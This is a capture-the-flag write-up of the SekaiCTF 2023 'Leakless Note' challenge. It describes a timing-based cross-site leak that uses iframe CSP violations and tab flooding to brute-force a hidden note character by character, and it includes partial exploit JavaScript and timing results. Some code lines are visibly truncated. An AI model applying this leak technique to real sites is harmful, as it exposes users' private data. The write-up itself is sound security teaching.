SekaiCTF 2023 - Leakless Note

Share on:



We (Kalmarunionen) firstblooded the Leakless Note challenge during the SekaiCTF 2023. Only four teams solved the challenge during the competition. This is our write-up of the working - yet, unintended solution.

TL;DR: We open 50 tabs and can use the timing difference from an iframe CSP violation in the search results page to bruteforce the flag character by character.

Write-up created by @eskildsen.

The Challenge

Challenge description:

This time my note application will have no leaks!

Admin Bot

❖ Note

Flag format: SEKAI{[a-z]+}.

The admin bot is running Chrome v115 with incognito. Use the provided adminbot.js for testing.


  1. Check the difference between a 404 search and a non 404 search carefully.
  2. The intended solution uses a timing attack.

The challenge is a simple website with the possibility to create notes. After signing up, one can create and view one’s own notes. Additionally, it is possible to search on the contents of the notes. We can search for part of the note content, which is very interesting.

The admin bot logs in and creates a note with the flag. Then visits our url.

Note: We are given the source code of the challenge - all XSS challenges should really do this!

Analysis and Vulnerabilities

Trivial XSS

The backend is secure with no obvious SQL-injections or similar. So it becomes evident that we must leak the flag using XSS. Pages are generally protected by the following strong Content-Security-Policy (CSP) which completely disallows scripting and parent (i-)frames.

Content-Security-Policy: default-src 'self'; script-src 'none'; object-src 'none'; frame-ancestors 'none';

We have a trivial HTML injection when viewing a single post directly in post.php, but due to the CSP, we can’t execute any scripts utilizing it:

        <hr />
        <h3><?php echo htmlspecialchars($post["title"]); ?></h3>
        <div id="contents"><?php echo $post["contents"]; ?></div>
        <hr />
        <a href="/">Back</a>

However, this will still come in handy later as it allows inserting HTML elements such as iframes.

Status Code overruling Content-Security-Policy

Looking at either the website or the source code quickly reveals an interesting difference when searching for existing vs non-existing content. It set’s the returned status code to 404, as seen in the snippet from the file search.php:

if (isset($_GET["query"]) && is_string($_GET["query"])) {
    $stmt = $db->prepare("SELECT * FROM posts WHERE username=? AND contents LIKE ?");
    $stmt->execute([$_SESSION["user"], "%" . $_GET["query"] . "%"]);
    $posts = $stmt->fetchAll();

    if (count($posts) == 0) {

The status code might not seem important, but the status code is the key for solving this challenge. Error events with status code 404 is generally worth looking at, but not relevant here. Instead we look at the nginx configuration which reveals that the CSP is set without the always directive, meaning it will not be applied to error pages - such as 404 pages:

location / {
    add_header Content-Security-Policy "default-src 'self'; script-src 'none'; object-src 'none'; frame-ancestors 'none';";

Thus, CSP does not apply to our “no-results” search page. This allows us to iframe the page if there is no results - and yielding a CSP violation if it contains any. If we get an CSP violation, parsing of the page is immediately halted hereby creating a timing difference. The page does not contain any nested resources, so parsing and loading it is almost instant. To abuse it, we need to amplify the timing difference. This can for instance be done using multiple requests, postMessages etc.

Due to cookies being effectively samesite=Lax we cannot create external iframes for leaking the flag.

Browser basics - Simultaneous HTTP Connections

All browsers limit’s the amount of simultaneous HTTP requests towards a single origin. For Chromium it is 6 parallel requests. Thus, any more will be queued for execution.

If we request the same non-cached page multiple times, then any time difference will amplified due to the queue.

We use the following cross-origin timing gadget. E.g. first creating a queue of requests and adding an iframe to the end. The CSP will ensure we get a CSP violation, but it will only trigger, once the network request has been conducted:

const measureTime = async () => {
    return new Promise((resolve,reject) => {
        // Create iframe
        const ifr = document.createElement('iframe');
        ifr.src = "";

        // Measure the starting time
        const start =;

        // Trigger once request has been conducted - after queue is empty
        ifr.onload = ifr.onerror = () => {
            const time = Math.floor( - start);

Attack Path

Our building blocks are defined above. We want to incrementally search for longer and longer parts of the flag using search.php. E.g. start with the base SEKAI{ and brute-force the first letter X, then use SEKAI{X as base and obtain the second character, third etc.

To see if we have a hit or not, we will iframe the search page and observe the timing difference for a hit vs no-hit. To amplify the timing difference we will conduct multiple parallel requests to the same search result (see 2 below). Overall, the attack is:

  1. Create a note for each character in the range A-Z. In each note, create two iframes pointing to the base and character, similarly to search.php?query=SEKAI{A.

  2. Make admin visit which we control.

  3. For each possible character:

    A) Create multiple tabs all pointing to the corresponding blog post from (1)

    B) Measure the time using our timing gadget

    C) Compare the different timings

  4. Go to (1) for determining the next character

Exploit Code

The rough code for step 3 above, is the following:

const determineCharacter = async (char) => {
    const windows = []

    // Open victim blog post in multiple tabs
    for(let i = 0; i < n; i++){
        windows[windows.length] =[char]);
    await sleep(1000)

    // Measure time
    const time = await measureTime()

    // Cleanup
    windows.forEach(win => win.close())
    await sleep(500)
    return time

const exploit = async () => {
    const charset = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']
    for(let i = 0; i < charset.length; i++){
        const time = determineCharacter(charset[i])
        if(time > 100){
            alert(`Found character: ${charset[i]}`)


In our tests, we initially opened 25 tabs for each character. Timing difference was not distinguishable - even when averaging over multiple executions.

Then for n=50 tabs, we suddenly saw a very clear pattern and observing the first character to be O:

'A' took 41
'B' took 21
'C' took 21
'D' took 22
'E' took 20
'F' took 22
'G' took 21
'H' took 20
'I' took 21
'J' took 20
'K' took 20
'L' took 22
'M' took 23
'N' took 20
'O' took 530
'P' took 21
'Q' took 21
'R' took 21
'S' took 21
'T' took 22
'U' took 20
'V' took 20
'W' took 21
'X' took 21
'Y' took 24
'Z' took 21

Results still flunctuated by +/- 50 for the correct character, but there was no need for repeating the execution to make an average sampling. Main canveat: The amount of requests towards the challenge infrastructure. We ended up manually starting it per character, but in the worst-case the character Z would result in 26 chars * 50 tabs = 1250 tabs, and for each tab we would be creating 1 request to the site, which resulted in two additional requests from the iframes. So in the worst-case scenario this would be 1250 tabs * 3 requests = 3750 requests/char.

The final flag was SEKAI{opleakerorz}. Obtained by opening 7,100 tabs on the admin bot and conducting 21,300 web requests from it.